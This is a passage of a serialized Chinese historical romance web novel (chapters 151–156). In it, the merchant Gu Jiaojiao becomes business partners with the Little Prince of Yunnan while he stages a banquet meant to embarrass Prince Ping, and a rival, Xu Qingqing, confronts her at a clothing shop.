为了避免不必要的麻烦,干脆不去做的好。 沈云祉自然明白其中厉害,并未为难,也答应下来。 双瑞在两人所言尽数记下拟作契约递到沈云祉面前。 “小王爷,请过目。” 沈云祉捻开折扇,气定神闲:“让顾姑娘瞧瞧。” 顾皎皎接过契约细细查阅,并未发觉有何不妥,安心地递了回去:“如此便没有问题了。不过我还是想要与小王爷说明,莫要随意干涉我的所作所为,万事以商讨为准。” “若论身份地位,您自然高高在上,但到了生意场上,还望小王爷莫要端起王爷架子。” 顾皎皎说得直白,莺儿听着不由得倒吸一口凉气。 双瑞亦是忍不住打量起主子的神情。 唯独沈云祉面色如常,甚至轻笑出声:“本王果然是没看错人。就依着你说的办。” 顿了顿他又补充:“本王要找的不是笼子里金丝雀,而是一个能共进退的人。你只管去做。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百五十一章 不会出什么岔子 白露生,凉风至。 再过几日便是白露,空气里的热气已褪去大半。天气凉爽,榻上女子睡颜柔和,挂着浅浅的笑意。 天边日光从窗棂钻进来,恰好落在顾皎皎忽闪的眉眼。 “莺儿,什么时辰了?” 顾皎皎慵懒起身,看着外头阳光和煦,心中跟着明亮几分。 昨夜就着两人的合作事宜,生生谈论到子时,甚是疲倦。 莺儿端着食案进来,身后还跟着拿盥洗盆的丫头。 “姑娘,如今已是辰时了。” “什么?”顾皎皎瞪大眸子,顿时清醒无比,慌乱起身梳洗,“怎地也不叫醒我?” 莺儿笑得和善,眼中含着几分怜爱:“姑娘整日打点各个铺子的生意,都已累得眼下青黑了。好不容易能睡个安生的好觉,奴婢私心,不想叫醒姑娘。” 顾皎皎心中一暖,却还是无可奈何:“我自然明白你的心思,但是今日是白露,不能贪懒。” 她瞧见食案中的白露茶与小碟龙眼,自责自己这样的日子也如此贪睡。 莺儿将杯盏递过去,另一个丫鬟替顾皎皎更衣梳发。 “姑娘,老爷若是还在也不会愿意瞧见您这样累着自己。” “不多说了。”顾皎皎匆忙喝下半杯茶水,“马车可备好了?” “都准备好了。” 每逢节令,都是顾皎皎要去探望父亲母亲的日子。 近来发生了许多事,好坏参半,她与许多心里话要说与他们听。 沿小道而上,路边多了几点秋色。 顾皎皎拿出食盒中的糕点与茶水,毫无顾忌地坐在一旁的杂石上。 “父亲,这些日子虽也遇到了些糟心的事,但苦尽甘来,皆是迎刃而解了。” “小王爷看中我身上的本事,愿意与我合作。而今在京城的路当真好走了许多。” 顾皎皎感慨良多,说个不停。 “对了,小王爷便是小云南王。因着皇上病重进京,似是有望继承大统。” “不过这都是后话。虽然与这样的贵人交涉难免会深陷漩涡,但既然做出了如此选择,女儿便是小心谨慎,护好自己。” 顾皎皎便就这般自言自语不知疲倦,唯有此处能叫她心神放松,不去顾念那些尔虞我诈。 直到莺儿前来提醒今日是小戏台验收的日子,她才依依不舍地离开。 建方斋掌柜已侯在顾府门外,见顾皎皎出现,忙迎上去行礼。 “顾姑娘,戏台已按照三日之期搭好,还请您前去瞧瞧。” “掌柜不必谦虚,建方斋出品自是精良。我是极放心的。” 许是听多了这样的称赞,掌柜的并无太多变化,只谨慎道:“到底是小王爷吩咐着搭建的,自然不敢怠慢半分。” “只是三日之期却仓促了些,不过我也命人用了最好最厚实的料子,想来短时间不会出什么岔子。” “两个月后,我便会派人前来更换维修,顾姑娘也可放心。” 顾皎皎颇为敬佩的看着眼前男人:“掌柜的思虑周全。此事我也会吩咐下去,叫他们平日里小心留用。” 掌柜点头,安心了许多:“如此,我便不叨扰顾姑娘了。待戌时验收,再与姑娘细说。” 送走展柜,顾皎皎直奔着书房而去。 “小王爷的账簿可都送来了?可得加紧熟悉一番。”她快步走着,却不忘吩咐莺儿,“你去叫人搬来书房,赶着时辰再去各个铺子亲自走一遭。” 不过一盏茶的功夫,小厮便将两箱账簿搬到顾皎皎面前,另外送上一份锦缎织的折子。 “姑娘,这是小王爷一并送来的。说是账簿明细批注,您瞧起来也不会太过费神。” 顾皎皎见此盛景瞠目结舌,她到底还是小看了沈云祉的实力。 她这才知晓光是京城一处,就有多出产业,其中不乏酒馆、客栈、当铺、甚至还有烟柳之所。 莺儿也瞧得清楚,难掩意外:“这……小王爷竟……” 顾皎皎瞪她一眼:“烟花之所鱼龙混杂,美女在怀,好酒下肚,什么话都能套出来。最是打探消息的好地方,” 莺儿恍然大悟:“原来如此。难怪小王爷消息总是灵通得很。” “莫要背后议论。”顾皎皎出声警告。 “是。”莺儿忙捂住嘴巴,“奴婢去给姑娘添一壶新茶。” 转眼天边泛起夜色,支起的窗棂放进几缕凉意。 顾皎皎禁不住冷颤,这才抬起酸涩的眼睛。从前倒为觉得瞧账簿是如此苦闷的一件事。 莺儿进来合上窗棂,出言提醒:“姑娘,时辰差不多了,该去第一楼验查戏台了。” 顾皎皎起身活动禁锢,坐了不知多久只觉得身子发软,脊背隐隐作痛。 “那便不耽搁了,此处不必收拾。” 第一楼。 戌时已过,宾客散去偌大的酒楼只成了灯火通明的空壳。 沈云祉先一步抵达,身后跟着杜玉荣。 堂中戏台小巧精致,虽只有三日之期,但其中雕花木刻都精致十分,瞧得出用了不少心思。 沈云祉在二楼挑了个绝佳的位置,垂眸看去恰好能将整个戏台一览无遗。 “如此,便只剩下最后一步了。” 杜玉荣顺着他的目光看去,仍是不解:“您当真要借平王的由头来做此事吗?” “那是自然。”沈云祉自信不疑,脱口而出,“眼前就有这样一件大喜事,为何不用?” “平王做事最是犹豫不决,既如此,本王便来帮他一把,还能博一个兄友弟恭的好名声。” 杜玉荣没再多问:“请帖都已准备妥当了,只待您一声令下,便可送到各位官员的府中。” 沈云祉轻声回应,目光黏在戏台之上若有所思。 顾皎皎便是这般闯进了他的视线。 女子自门外走来,一进门便四处张望,直到抬头对上一双眉目含情的桃花眼。 “两位大人怎地站在此处了。”顾皎皎亦是登楼,不忘福身行礼,“虽是登高望远,不过此处却瞧不清优伶的精彩绝伦。” 杜玉荣先一步迎上去,附和着她的话语:“顾姑娘所言极是。不过今夜最要紧还是瞧这戏台位置可还周正。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百五十二章 算作替她分忧 疑色在面上闪过,只一瞬顾皎皎便露出笑意,故作领悟:“原来如此。不过建方斋的手艺一向是拔尖的,此等小事自然出不得错。” “只是明日宴请达官贵人,自然是要仔细着些的。”杜玉荣看了小王爷一眼,继续道,“怕是这第一楼要少赚一天银子了。” 沈云祉这才转身:“本王的大戏明日就要开唱了。” 顾皎皎了然无心:“不知明日席面预备如何?” 她不知道明日宴请些什么人,也知晓这并非她该问的。 “平王设宴,自然不能丢了面子,却也不能铺张浪费,你且看着办吧。” 沈云祉思索一瞬,语气随意,显然是懒得再管。 “好,。那我便依照中等偏上规格安排明日的席面。”顾皎皎干笑一声,“只是可方便告知是何宴席?平王并未派人前来。” 直接告诉她此事定有蹊跷。小云南王一向瞧不上平王,就连面上功夫都不愿粉饰,如今又怎会性情大变亲自操办其宴饮席面? 怕不是一场打着平王名号的鸿门宴。 “平王日理万机,怕是早将府中双喜临门之事抛之脑后了。”沈云与杜玉荣相视一笑,”本王闲来无事,替他操办一番,也算作替她分忧了。” 顾皎皎欲言又止,笑而不语。 倒未听说小云南王与平王冰释前嫌,怕不是此事到现在平王还不知情。 双瑞在戏台四处查看,任何一个角落都不曾放过。精细程度颇有几分鸡蛋里挑骨头的涨势。 待他登上二楼,发觉顾皎皎在场,只附在沈云祉耳边低语几句,很是谨慎。 “那两位达人便在此随意,我会知会掌柜明日安排。” 看出双瑞的防备,顾皎皎猜到接下来的事由她不便参与,寻个了由头便离开了。 外头夜色正浓,一轮清月悬挂苍穹,撒下一地银辉。 顾皎皎抬头看着月光皎皎,觉得十分亲切。这名字的由来便是如此,父亲盼望着她能成为一个心思澄净,不被俗物沾染。 “顾姑娘,这是小王爷交代交给您的。” 双瑞追了出来,双手递上一副玉佩。 这是上好的羊脂白玉,通体发白,不曾有半分杂质,温润细腻,绝不常见。只一眼她便敲出这是沈云祉整日佩戴在腰间的。 “若是没认错,这乃是小王爷的贴身物件,予我做些什么?” 顾皎皎不敢触碰,先出言理清。 双瑞姿态不改,解释道:“小王爷料想到顾姑娘要去巡查铺子,特以此玉佩当做信物,以保姑娘一路顺畅。” 这倒是合乎情理,只是这物件实在过于贵重,顾皎皎伸手接下觉得呼吸停滞了一瞬。 她虽也有不少稀罕物,但与小云南王的自然不能相提并论。 “此物贵重,最快明日就会归还小王爷。” 双瑞走后,她立即用手中丝帕将玉佩包裹,小心递到莺儿手中:“好生收着,不能有半分磕着碰着。” 莺儿如临大敌,一路上安生了许多。 马车一路缓步,不紧不慢地往顾府方向而去。 约莫一刻钟,本是在第一楼看守的侍卫被尽数遣散出来,守在楼外,密不透风。 沈云祉坐于高处,与杜玉荣品茶对弈。 楼下,不知从何处来了一拨黑衣巧匠,正对着戏台大展身手。 修长的手指夹着一枚白子,沈云祉眉头微蹙,若有所思。手边茶盏凉到七分,白子堪堪落入棋盘。 胜负已分。 杜玉荣难以置信地看着这绝妙一子,眼中崇敬与惊讶交织,又喊着几分懊恼。 “方才竟没察觉此处留下了漏洞,此局不该结束得如此之快。”他提起纸扇轻敲额角,实在叹惋。 沈云祉忻忻得意,肆意大笑:“方才你可是十拿九稳,连本王暗示都不曾明白。” 杜玉荣神情讪讪,凝神将棋子收进棋奁:“确实是我大意,再战一局!这回我眼观六路耳听八方,势要赢您一局。” “今夜怕是难了。”沈云祉意气风发,把玩手中折扇,“你的心思并非全然在此,即便本王陪你夜战天明,你也赢不得半子。” 此言一针见血,杜玉荣握着棋子的手在半空一顿,双眸深谙。 他扯了扯嘴角,模样几分失意:“什么事都瞒不过小王爷的眼睛。我不过就是好奇为何小王爷会将贴身玉佩给顾姑娘送去,似乎有些太过亲昵了。” 话语委婉,却难掩醋意,甚至还有几分职责。 物件稀缺特别,这般随意交给一个姑娘,岂非要折辱了她的名声? 沈云祉抬眸看他,眼底几分玩味,答非所问道:“怎么?玉荣这是对顾姑娘有意?” “自然不是。”几乎是下意识地否认,心事被戳穿的局促涨得他耳廓通红,“只是平王的教训就在眼前,若是他气急败坏,抓住这玉佩不放,岂非徒增烦恼。” 中规中矩的世家子弟总是说不得慌的。看着他飘忽的眸子和紧张的神态,沈云祉轻笑一声。 “倒是还未来得及知会你一声。本王一直欣赏顾姑娘的生意头脑,昨日终于寻到机会与之合作。京城的几家铺子也都交由她来打理。” “那玉佩乃是暂时借用的信物,免得铺子掌柜疑心深重,不肯认她。” 杜玉荣这才松了口气,笨拙地假装漫不经心:“顾姑娘的能力确实叫人钦佩,小王爷此番亦是强强联手。” 这份飘忽不定的情愫他早已察觉,却是第一回见他如此清晰的表露。 沈云祉偏头看向楼下戏台,沉声感慨:“本王还是有意平王坐在那处的模样,定然十分有趣。” 顺着他的视线看去,正是台前正中央的地方。 那是沈云祉特地为平王留下的。 月至中天,台前烛火灯芯浸在蜡油中,忽明忽暗。 数名巧匠散去,双瑞小跑而来:“小王爷,都已经准备妥当了。” 沈云祉点了点头,耐心将尽:“那便如此。明日你派人将拜帖尽数分发出去,不能用什么法子,都得叫他们应邀前来。” “至于畅春园,吩咐牡丹还在盯着,出不得岔子。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百五十三章 不算干涉 翌日,顾皎皎一大早便启程去往铺子巡查。 别在腰间的羊脂玉玉佩好似被烈火炙烤一般,每走一步便要隔着衣衫触碰,叫她走路都有几分不自在。 因着这块玉佩,她果然一路顺畅。 她带着沈云祉的信物走过的铺子无异于告知京城这是小云南王的,她也是受小云南王庇护的。 午后,顾皎皎携玉佩与账簿赶往驿站。 书房之内,她似邀功般将两样物件摆在沈云祉眼前,神情得意。 “小王爷,这不过半日账目,较之往日已然翻了一倍。虽然多是冲着您的名气来的,但也足以证明各个铺子还有改善空间。” “至于暖香阁,名声赫赫,不必过多干涉。我若戴着玉佩贸然前往,兴许会适得其反。” 沈云祉对账簿并无兴致,只将玉佩挂回腰间,言语散漫:“早同你说过,本王信你。既然交给你,本王便不就过问了。况且你不是也不愿本王过多干涉吗?” 顾皎皎一时无言,着实被他这自由散漫的模样惊到。 “到底是您自己的铺子,瞧瞧账目倒是无碍,不算干涉。” 沈云祉仍是提不起兴致:“不想看,若无其他要事,你也快些回府换身衣裳,晚上一同去第一楼看戏。” “小王爷这是在邀我一同?”顾皎皎并未答应,“奈何您昨日送来的账簿实在杂乱,我还未来得及理清。恰好今日第一楼归小王爷所有的,我也能忙里偷闲,瞧个仔细。” 昨日见双瑞那般谨慎的避人耳目,她便隐隐觉得这场大戏非同凡响。 不禁牵扯平王,甚至还有不少连名字都不曾听过的官员。 这样的场合断不是她一个小小商贩能够染指的。 沈云祉很是坚持:“你未打理前那些账簿就那样堆着,少一两日不打紧的。” 顾皎皎犹豫不决,心中不愿,却又不好驳了小云南王的面子。 踌躇间,双瑞叩门进来:“小王爷,您吩咐的衣衫都已准备妥当,已送往寝房了。” “来得正好!”沈云祉随机起身,舒展的眉眼似乎心情大好,“你也随本王一同去。” 他在顾皎皎身侧停顿片刻,丢下一句便大步离开。 轻飘飘地话语好似一阵微风,拂过耳边便没了踪迹。 顾皎皎快步跟上,却眼眸转动,打量着离开的连廊。毕竟,未听清的话是算不得数的。 正要蒙混过关拐弯之际,一只长臂出现挡住了他的去路。 这衣衫的料子她方才见过,是双瑞。 果然,抬眸便见他不苟言笑的面容,躬身指引着相反的方向,恭敬道:“顾姑娘,小王爷的寝房还请这边走。” 心思被戳穿,顾皎皎面上尴尬只能乖巧地跟在他的身后。 屋内,沈云祉已换好了一身墨色衣衫。 那是一身玄色云锦,肉眼可见的流光溢彩;领口袖口尽是金丝绣纹,鎏金隐与玄色之中,直叫人望而生畏。 宽大的外袍广袖及地,无不昭示着男子的雍容华贵。 一头青丝一半束起,所用发冠乃金制竹叶纹,与一身衣衫相得益彰。 顾皎皎停在门外,看着沈云祉缓缓转身,露出那一张惊为天人挑不出的皮囊。 她只见过他身着各色常服,这一份礼制服饰倒是从未见过,一时间竟出了神。 恍然间,眼神之制热连沈云祉都有所察觉。 只见他缓缓靠近,在她定住的双眸前轻打响指,唤回游丝。 “发什么愣?”沈云祉的心情很好,对着衣衫爱不释手,“这是本王刻意要内务府赶制出来的。好在他们做事还算上心,这衣衫很合本王心意。” “想着你整日忙碌,怕是顾不得这些,就顺便制了一身,你且去试试。” 说话间,丫鬟将一件叠放整齐的水蓝色衣衫送到顾皎皎眼前。 世间打底没有女子能够在此时此景说出扫兴之语。 “小王爷这是何意?”她寻回理智,疑惑开口。 这衣衫的料子也非凡物,摸着温润如丝,细腻柔滑。再看衫上刺绣,针脚紧密,技艺非凡。 沈云祉却不以为然,一边欣赏着镜子中身姿,一边道:“早与你说过,今夜是一场大戏,自然要盛装出席。” “况且,内务府这针脚技艺,你难道丝毫不心动吗?” 一语惊醒梦中人,顾皎皎忙不迭收回收手,面上一红:“多谢小王爷,我该去何处更衣? 霓裳阁虽在京城有些名气,阁中巧匠自是技艺精巧,但到底是比不上皇宫制造的。 若是能将这衣衫带回来供他们学习欣赏,未必不会更上一层楼。 顾皎皎被带到一间偏房更衣。 水蓝色的料子衬得她肤若凝脂,妥帖合身的剪裁将她盈盈一握的腰身包裹得越发纤细。 镜中的女子面色清冷,真真有几分冰美人的韵味。 “这衣裳将姑娘衬得光彩夺人,叫人移不开眼呢。”莺儿禁不住出声称赞。 顾皎皎也忍不住多看了自己几眼,看着铜镜中的纹路走势,忽然灵光乍现。 一回寝房她便忍不住说出自己的想法:“小王爷,方才我忽然想起果干铺子始终低迷,若是能每日拨出一些额外的供顾客品尝,是否可以接触困境?” “寻常人家喜食新鲜果蔬,兴许是不曾品味过果干其中风味。” 沈云祉愣了一瞬,意外她更衣都能想到铺子的生意。 “也不失试了法子。你大可去试。”顿了顿,他勾起唇角,眼中情愫暧昧,“这身衣裳倒是衬你。” 顾皎皎却沉浸在铺子的打理,随意道谢后,又开始滔滔不绝。 “这类成品铺子若是都能推出送货上门的服务,只需提前知会一声,便能足不出户拿到心中所想,定然也能叫人牢记驻足。” 沈云祉思绪被她挑动,说出心中疑虑:“那这路程时效,又该如何?” “所谓术业有专攻,此事便可交由小王爷的镖局来做。”顾皎皎神采奕奕,胸有成竹,“往日镖局只运送远程物品,便可分出一只专做城内的生意。” “不过能送到何处,又需得耗费多少时辰,需得由我们来定。若有意,便算作认下细则。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百五十四章 不服输 “这法子确实有趣。”沈云祉细细思索,态度模糊,“不过你须得思虑清晰,若是效果平平又该如何?” “你要知晓,在京城乃至整个天启,可都不曾开过这样的先例。世人皆是喜爱亲力亲为,未必会接纳你这物品后移的模式。” 顾皎皎神色认真:“自然是想过的。不过总要去试了才知是否可行。” 她的目光坚定而认真,颇有一番不成功便成仁的魄力。 透过眼前这双明亮清澈的眸子,沈云祉瞧见了自己眼中的欣赏与赞许。 他看中不仅仅是灵活的头脑,还有这份不服输的倔强。 “此事暂且耽搁,莫要忘了今夜本王在第一楼的大戏。”沈云祉转过身去,淡漠的目光凝在镜中,却好似在瞧外物。 平王府。 午时三刻,乃一天中日头最大的时辰。 书房庭院中,孙协兆好不生气地跪在中庭,佝偻着腰背好似即可就要晕厥过去。 他艰难抬头看了一眼紧闭的房门,无力地深叹一声。 那日从衙门归来,平王的脸色铁青,自始至终一言不发。 “王爷……”孙协兆试探开口,低声细语不敢造次,“此番我只是走投无路,才搬出您的名号。” “顾皎皎不知如何攀上了小云南王,不仅将我打成这副认不认鬼不鬼的模样,更是想置我于死地啊!” 一开口便是埋怨与怨恨之词,落在耳畔只觉得聒噪却刺耳。 平王面色阴沉,瞧着他的眼神深不可测,好似能让人生吞活剥,不吐骨头。 “本王饶你一命,不过是因为你允诺本王仍然能够蛰伏在沈云祉身边打探消息。” “如今倒好,不仅不能替本王办事,甚至又往王府泼了一碰脏水,你真是好胆识啊。” 孙协兆只觉得脊背发凉,硬着头皮为自己出声辩解:“王爷,虽然我已不能正大光明跟在小云南王身侧打探消息,但我对他的行踪喜好了如指掌。” “他既然还留在京城,难道还担心找不到空子抓住他的把柄吗?”平王冷哼一声,眼中只剩下嫌恶:“真是牙尖嘴利,鬼话连篇。若不是本王轻信了你的片面之词,也不会落得如此地步。” 他心中有怨,却也懊恼自己识人不清。 细细想来,沈云祉并未重用过这个庸才,只怪自己病急乱投医,才埋下如此隐患。 “王爷,我对您当真是一片赤诚啊!”孙协兆早已没了筹码,只能卑躬屈膝求饶,“待我将身上伤痛养好,自当再为您鞠躬尽瘁死而后已。” 平王合眸,不愿再理会。 孙协兆心中慌张,心一横就着马车跪下,犹犹豫豫狠狠抽打自己脸颊:“王爷,还请王爷再给我一次机会!” 清脆的声音在耳边此起彼伏,待平王睁眼,孙协兆的面颊早已红肿一片,越发面目全非。 平王面色不改,恨不得将此人大卸八块泄愤。 只奈何今日这样一闹,大半京城都知晓平王府与安阳侯府喜结连理,若是他在这个节骨眼上暴毙,无疑于是将王府推到风口浪尖。 “起来吧。”平王沉声开口,“你若真有诚心,往后日日在本王院内跪上两个时辰,直到本王解气,如何?” 孙协兆满面惊恐,却又不得不从。 思绪飘远,一道声音自远而近落在耳畔:“孙公子,今日已跪满两个时辰了,你可以回府了。” 孙协兆头脑发昏,双眼模糊,只隐约瞧见李嬷嬷唇角微动,还有手中攥着的折子。 他认得着乌沉香气,是沈云祉。 “劳嬷嬷记挂,不知这可是小云南王送来的东西。”孙协兆尤其无力,得随从帮衬堪堪站起身来。 李嬷嬷瞧他一眼,眼底闪过一瞬不屑:“孙公子今日累了,早些回府休息才是。” 她随口搪塞,随后快步往书房走去。 孙协兆眼眸深谙,不满一个奴才对自己如此不敬。奈何精疲力竭,再是动弹不得。 “王爷,这是小云南王差人送来的拜帖。”李嬷嬷将东西呈到平王眼前,“还派人留了一句,请王爷务必赏脸。” 平王一听是沈云祉的东西便没了好脸色,却又忍不住去瞧又惹出了怎样的新把戏。 帖上寥寥几句,却赫然写着邀平王与令爱令婿第一楼共赏戏曲。 “第一楼要唱戏?”他双眸微眯,忍着怒意,手中动作却不由得加重,“他如今越发不讲规矩了,背地里就折腾这些不明所以的东西。” 清脆一声,手中毫笔断裂。麾毛尚未干涸的墨汁在他临摹的字帖上晕开,扰乱了一副即将大功告成的好字。 平王蹙眉,沈云祉总是这般不合时宜。 李嬷嬷心下一惊,等待片刻又轻声细语:“王爷,奴婢接下这拜帖时多嘴问了一句席上还有何人,说到是还有不少吏部官员和朝中大臣。” 平王这才重视起来,重新拿起拜帖仔细瞧了一遍,却还是未发觉有甚奇特之处。 “可说了为何会在第一楼置办?” 若是不曾记错,这乃是顾皎皎的产业,两人关系似乎比他料想的要亲近许多。 到底是蛮夷之地的黄毛小儿,眼光便是如此粗鄙。 商贾之辈,只会脏了他这一身蚕丝云锦。 李嬷嬷摇头:“其中缘由不得而知。不过近来第一楼与畅春园传出联合的消息,也道这第一楼的首唱便是由牡丹娘子打响,眼下还不知真假。” 平王眼中的鄙夷褪去大半,余下几分疑惑和警惕。 他将拜帖捏在手心,犹豫不决。 思索良久,平王心生一计:“孙协兆人在何处?” 李嬷嬷:“方才奴婢来时恰好是孙公子两个时辰之期,如今怕是已在回府的路途了。” “不过依照孙公子如今的脚力,未必就离开了王府。” “将人叫回来。”平王眼眸狡黠,嘴角一抹邪魅笑意,“至于沈云祉那边,便说本王会如约赴约。” 驿站。 双瑞将平王府传来的话语尽数说与沈云祉听。 “倒是省了本王不少功夫,今夜可要好生款待平王一番。”他勾起嘴角,提笔将名单上平王的名字以朱笔涂抹。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百五十五章 还要庆贺 第一楼今日大门紧闭,难免叫人议论,为此沈云祉刻意好心地放了些消息出去。 “听说了吗?今夜平王为了庆贺与安阳侯府的婚事,特地在第一楼搭台唱戏!” “与安阳侯府?那不是早已不似往日风光,竟也能入王爷法眼?” 每每路过第一楼,不见往日络绎不绝,总要议论一番。 “这便罢了。何时听过平王府有郡主啊!”身世之事总叫人津津乐道,“我道怎地当日流言四起也不见平王矢口否认,原来都是真的啊。” “到底是唯一的骨血,从前到不曾听过定下好日子还要庆贺。” 百姓七嘴八舌,各有见解。 一辆素色马车驶过,将来往行人所言所语听个明白。 徐青青端坐车内,春风得意。 她虽独困别院,却也消息灵通。衙门风波昨夜便就传到了她的耳中。 初闻时,只觉得守得月开见月明,终于是叫她等到这一日了。不枉这些日子在小院的萧瑟时光。 “姑娘,您当真要去霓裳阁做衣裳吗?”青儿见她得意洋洋,心底生出不安。 “那是自然。”徐青青昂首挺胸,姿态傲慢,“她不过是仗着自己有些钱银便那般嚣张跋扈,如今我已跻身王府郡主,定要去削去她的气焰!” 听着顾皎皎在外风生水起,还将孙协兆打成那副模样,她便就气不打一处来。 两年前就是她霸占着安阳侯府三夫人的位置,才叫她委身在外;而后又因她的心思深沉,错失了回王府的良机。 若非有顾皎皎暗处使绊子,她早就是高高在上的平王郡主了。 “可是姑娘,顾姑娘如今可是小云南王的人。”青儿惴惴不安,生怕今日又惹出事端,“京城中有名望的大人也因忌惮小王爷让她三分,您……” “住口!”徐青青攒着怒气,厉声打断,“怎地在此处灭自己威风涨他人士气?” 她狠狠剜了青儿一眼,瞧着她畏首畏尾的模样便心生嫌弃:“小王爷却有几分地位,但父亲也毫不逊色。况且,父亲是当今圣上的同胞兄弟,却是小云南王比不得的。” 徐青青勾起嘴角,很是得意。 若是平王成了太子来日继承大统,她便是唯一的公主,身份何其尊贵。 青儿不敢言语,垂眸侯在一旁。 那方,顾皎皎带着衣衫直奔霓裳阁而去,这般好机会自然不能错过。 “将这衣裳送去给绣娘瞧瞧。这一针一线都是出自内务府之手,细细探究许是能琢磨出不少门道。” 掌柜快步相迎,眼中尽是惊艳,惊讶开口:“果然是不同凡响,我这就送去给绣娘掌眼。” 顾皎皎叮嘱:“可得仔细着些,晚些时候这身衣裳还有用处。” “真是巧啊,竟然在此处遇见顾姑娘。” 未见其人先闻其声,徐青青跨步进来,面上端着笑眼底却含着戏谑。 只一眼,顾皎皎便知来者不善。 “青青姑娘,你怎么亲自过来了?”她露出妥帖的笑,“是想做身什么样的衣裳?” 客气的笑意落在徐青青眼中便成了谄媚之姿,到底是商贾人家,总是这般小气,眼中只有银子这般俗物。 更是没有半点眼力见,明知她是平王郡主,却不懂转换称呼。 “今夜我要去赴小王爷的约。”徐青青将话语说得模棱两可,眼中几分挑衅,“就要一身端庄大气的成衣。” 她的目光在店内扫视一圈,最后落在顾皎皎的脸上,阴阳怪气道:“顾姑娘应当知晓这非富即贵的场合,该选一个怎样的衣裳吧?” 在徐青青眼中,顾皎皎这样的人这辈子都不会有机会踏足这样的场合。 顾皎皎面色柔和,不为所动,只抬手叫人取来几件衣衫,供徐青青选择。 “徐姑娘请看,这几件都是不错的款式,样式新颖却不张扬,低调却又不失巧思,最是适合出席宴席。” “这件水蓝色能称得你娇俏可人,这件嫣紫色显得人淡雅妩媚,这件墨绿色则让人沉稳得体。” “不知姑娘可有心仪?” 不得不说,这几件衣裳挑得中肯,确实挑不出错来。 但今夜是她作为平王郡主第一次露面,穿得如此沉闷岂非浪费了这等好时机。 徐青青冷哼一声:“亏得顾姑娘做了这些年的生意,还是京中混出了名望,却不懂得什么场合穿什么衣裳的道理,真是可惜。” 语毕,她在顾皎皎身侧走过,刻意以肩顶撞。 半垂的眸子,扬起的红唇,加上艳丽的容颜宛若蛇蝎美女,别有一番滋味。 顾皎皎沉默不语,视线随她的步子而去。 徐青青在店内闲逛片刻,最后停在一件桃色广袖琉璃裙前,笑意加深,很是满意:“这衣裳不错,就要这件。” 这琉璃裙衣料特殊,衣如其名,裙摆的薄纱光怪陆离,肉眼可见的光彩夺人;若以烛火照亮,更是如天降神女。 美则美矣,却太过张扬。 顾皎皎的笑意在嘴角凝固,转着眼珠有几分尴尬:“徐姑娘当真要这衣衫?” 做生意的自然要以客人为大,但徐青青的选择实在让她震惊得禁不住出声提醒。 她既然知晓今夜是何场合,怎地还能做出如此选择。如此夺人眼球的衣衫,岂非是送上门的谈资。 徐青青不懂她语气中的劝解,只觉得啰嗦烦躁:“如何,难道顾姑娘有何顾虑,想自己留下这衣衫不成。” 顾皎皎扯着嘴角干笑一声:“自然不是,自然惊叹徐青青眼光独到,令人钦佩。” 多说不宜必自毙,她已仁至义尽。 徐青青却不以为然,只觉得这是赤裸裸的嫉妒。 她抬手抚摸着琉璃裙的华光溢彩,眼底的欣喜与得意也似要漫出。 “将这衣裳打包,送到……”她话锋一顿,忽地隐忍,“包起来吧。” 青儿几番欲言又止,只得怯生生地付了银子。 “顾姑娘,愿你生意兴隆。” 走时,徐青青不忘调笑一声,面上一片挑衅。 顾皎皎以不变应万变,只是挂着挑不出错的客气笑意。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百五十六章 戏已落幕 “徐姑娘真是叫人大开眼界。” 看着徐青青软若无骨的腰肢,莺儿的感慨脱口而出。 “这话可就只能在此处说说,再不许说第二次了。”顾皎皎难得不曾训斥,只叫她再低调些。 今日之前,她与徐青青并无太多接触,印象中只记得她是为容貌上乘的女子。 今日一见,果然如传言一般容貌倾城,只可惜金玉其表败絮其内,倒与孙协兆般配。 莺儿跟在顾皎皎身后:“徐姑娘今夜去的也是第一楼的宴席不成?倒是没想到小王爷也会邀她。” 顾皎皎并不意外,耐心解释:“早些时候他们便有交际,想来因着孙协兆的关系并不陌生;如今又成了王府郡主,身份不可同日而语,倒是不稀奇。” “况且,今夜这席面因着平王而起,将她一并捎上也是情理之中,兴许还能再见孙协兆一面呢。” 她轻笑一声,脑中闪过却是沈云祉狡黠的眸子,和套麻袋利索地动作。 顾皎皎后知后觉,反应过来后竟有几分不知所措。 另一边,第一楼。 沈云祉负手立于楼阁,垂眸瞧着下人们布置打点。 今夜的第一楼透着喜色,各处装点着殷红的陈设,就连菜色都有意添上了一道百合莲子银耳羹。 杜玉荣站在他的身后,躬身行礼:“小王爷,都已经打点好了,第一楼外已有数名侍卫看守,二楼雅间也已打点妥当。” “戏台方才也检查了一番,今夜定不会出任何岔子,尽数在您的掌握之中。” 沈云祉勾唇,眼底尽是玩味:“叫他们都仔细着些,若是漏了什么,便别想再见明日的太阳了。” 下一瞬,一道蓝色身影闯入视线,她环顾四周,神色复杂,交织着疑惑,震惊和木讷。 “倒是机灵。”沈云祉喃喃自语,“知晓着衣衫不凡,便弃了珠翠,只戴几支素玉簪。” 杜玉荣恍神,未能听清沈云祉言语,正要请示,却瞥见了眼底的顾皎皎。 只见她快步走向掌柜,指着屋内陈设询问。 “这是何故?”顾皎皎指着第一楼内点红烛,铺红布,张灯结彩,热闹非凡,“都是小王爷吩咐的?好好地看一场戏,怎就装扮得如此喜庆?” 掌柜的摇头,一五一十道:“早些时候,是小王爷派人送来这些物件的。我也只是依照吩咐尽数安排妥当。” 顾皎皎还想多问,鼻尖忽地钻入一缕乌沉香。 一转身果然就见沈云祉眉眼含笑,缓缓走来。他身着墨色广袖长袍,整个人笼在满屋烛火的暖色中,越发俊俏难忘。 杜玉荣跟在身侧,月白长袍显得身姿挺拔,温文尔雅,倒是让人亲近几分。 “参见小王爷,杜大人。”顾皎皎福身行礼,“不知小王爷这是何用意,怎地也不曾提前知会一声?” 沈云祉笑笑,挑眉故弄玄虚:“待好戏开场,一切都会明了,岂不更有趣味?” 见他这副阴恻恻的模样,顾皎皎已然猜到大概。 所谓的大戏,怕是平王府的定亲喜宴。 往来宾客也皆是来见证徐青青与孙协兆喜结连理,唯独平王一行对赏戏深信不疑。 沈云祉筹谋至此,绝不会只为了让平王难堪;但背后更深层的缘由便不得而知。 